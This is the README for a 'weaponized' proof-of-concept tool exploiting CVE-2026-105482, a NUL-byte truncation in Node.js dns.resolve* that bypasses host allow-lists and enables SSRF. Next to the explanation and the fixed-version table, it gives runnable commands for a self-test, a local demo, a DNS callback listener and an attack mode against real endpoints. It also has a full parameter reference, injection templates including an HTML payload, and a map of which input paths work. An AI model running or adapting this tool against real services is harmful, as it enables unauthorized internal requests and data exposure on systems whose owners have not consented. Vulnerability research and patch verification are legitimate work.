
Weaponized POC for CVE-2026-105482: Node.js dns.resolve* NUL-byte truncation bypasses host allow-lists to enable SSRF, with selftest, demo, DNS callback listener and attack modes.
dns.resolve* NUL Byte TruncationHost allowlist bypass → SSRF. Weaponized, end-to-end tested and verified.
"attacker.example\0.trusted.corp".endsWith(".trusted.corp") // true
dns.resolve4() hands this string to c-ares, and c-ares treats it as a C string, silently stopping at the first
0x00. The application validates the full string, but what gets resolved on the network is only the part before the NUL.
应用层校验 : attacker.example\0.trusted.corp -> 判定在白名单内
解析器收到 : attacker.example -> 攻击者自己的 DNS 服务器
Any DNS domain name an attacker can control thus slips through a filter that believed it was only allowing internal hosts.
| Version Line | Affected | Fixed Version |
|---|---|---|
| 22.x | < 22.23.4 | 22.23.4 |
| 24.x | < 24.22.1 | 24.22.1 |
| 26.x | < 26.12.1 | 26.12.1 |
| All EOL version lines | Not fixed | — |
Only the c-ares path is affected: dns.resolve4, dns.resolve6, dns.resolveAny,
dns.resolve, dns.resolveCname, dns.resolveMx ……
dns.lookup() uses getaddrinfo() and is not affected. For the full tested list, see
Reachability Matrix.
./run.sh # 环境检查 + selftest + 端到端 demo
Windows:
run.bat
No third-party dependencies. Only the Python 3.8+ standard library is required, along with node in PATH.
Manual invocation:
python3 cve_2026_105482.py selftest # 判断当前运行时是否受影响
python3 cve_2026_105482.py demo # 打穿自带的存在漏洞的 mock 服务
python3 cve_2026_105482.py dnsd # 独立的 DNS 回调监听器
python3 cve_2026_105482.py attack … # 对真实接口发起注入
selftest — Differential ProbingStarts a local DNS server, runs a matrix of API calls, and then reports which calls actually passed the truncated name to c-ares. This is a behavioral test, not a version-number comparison — it works equally well against runtimes that have been patched and recompiled, or that have backported the fix themselves.
=== local runtime matrix ===
node: v22.16.0
case api host (NUL shown as \0) outcome truncated?
baseline resolve4 nul-canary-3xiai1.example.invalid resolved no
nul-resolve4 resolve4 nul-canary-3xiai1\0.trusted.corp resolved YES
nul-resolveAny resolveAny nul-canary-3xiai12\0.trusted.corp error YES
nul-reverse reverse 127.0.0.1\0.trusted.corp error no
nul-lookup lookup nul-canary-3xiai13\0.trusted.corp error no
resolver saw: ['nul-canary-3xiai1.example.invalid', 'nul-canary-3xiai1', 'nul-canary-3xiai12']
[-] VULNERABLE - dns.resolve* truncated the name at the NUL byte
nul-lookup and nul-reverse are counterexamples: they can help you avoid wasting a day on an interface that uses
getaddrinfo.
demo — Full exploit chain, no target requiredStart a mock service
if (!target.toLowerCase().endsWith(".trusted.corp")) return deny();
dns.resolve4(target, cb);
--- 1) control: a name outside the zone is rejected ---
status=403 body=DENY whitelist: "plain.example.com"
--- 2) attack: 'evil\0.trusted.corp' passes the allow-list ---
[+] CALLBACK 8et8143.attacker.example A from 127.0.0.1:53318
status=200 body=RESOLVED "8et8143.attacker.example\u0000.trusted.corp" -> 203.0.113.7
[+] DEMO PASSED - allow-list said yes, DNS actually queried '8et8143.attacker.example'
dnsd — Callback ListenerA minimal, semi-authoritative UDP DNS server. It logs every query and responds to A/AAAA, so that the subsequent stages of the SSRF chain can keep running.
python3 cve_2026_105482.py dnsd --listen 0.0.0.0:5353 --log hits.jsonl
When the target's parser can connect directly to you, use it and skip the listener built into attack.
attack — Attack the real interfacepython3 cve_2026_105482.py attack \
--url https://target.tld/api/fetch --method POST \
--format json --param url \
--suffix .trusted.corp \
--evil 7f3a.oob.example \
--dns-listen 0.0.0.0:5353 --dns-log hits.jsonl
Exit code 0 indicates a callback was received — the allowlist has been bypassed.
attack Parameter Reference| Parameter | Default | Purpose |
|---|---|---|
--url | required | The endpoint that will ultimately call dns.resolve* |
--method | POST | HTTP method |
--format | json | json · form · query · raw · header |
--param | url | Field name / query parameter name / header name to inject into |
--suffix | — | Allowlist suffix to preserve, e.g. .trusted.corp (repeatable) |
--suffix-file | — | One suffix per line; # comments allowed |
--evil | random | Domain under your control |
--evil-domain | — | Generate <随机>.<该值> instead of a fixed name |
--host-template | {evil}\0{suffix} | Fully control the shape of the injected string |
--wrap-url | off | Also try http://<payload>/ and https://<payload>/ |
--body-template | — | Raw request body, using the {payload} placeholder |
--header | — | Additional request headers, Name: value (repeatable) |
--proxy | — | Route through an intercepting proxy |
--timeout | 15 | Per-request timeout (seconds) |
--wait | 2.0 | Wait time before checking for a callback |
--dns-listen | — | Start the built-in listener, 0.0.0.0:5353 |
--dns-answer | 203.0.113.7 | A record returned by the listener |
--dns-log | — | Append each hit to a JSONL file |
# 1. JSON body 里的裸主机名
--format json --param url
# 2. 接口要求传入完整 URL
--format json --param url --wrap-url
# 3. 值被嵌进 HTML / 模板的场景
--host-template '<img src="http://{evil}\0{suffix}/x">'
# 4. form 表单上传处理
--format form --param callback_url
# 5. 一次跑多个白名单域
--suffix .trusted.corp --suffix .internal.example --suffix .svc.cluster.local
| Path | Usable | Notes |
|---|---|---|
JSON body → dns.resolve4 | Yes | \u0000 can pass through JSON.parse |
Form field → dns.resolve4 | Yes | Same string path |
| Message queue / config entry | Yes | Any carrier that ultimately produces a JS string |
new URL("http://a%00.b/") | No | Throws an exception directly — %00 is rejected |
http.request({ host }) | No | NUL is rejected when constructing the Host header |
fetch() | No | Goes through URL |
dns.lookup() | No | Goes through getaddrinfo, not c-ares |
dns.reverse() | No | Rejected first by inet_pton |
The NUL must be handed to dns.resolve* intact, as a JavaScript string. Usually this means:
a JSON body, a form field decoded by the application itself, a queue message, or a stored config value.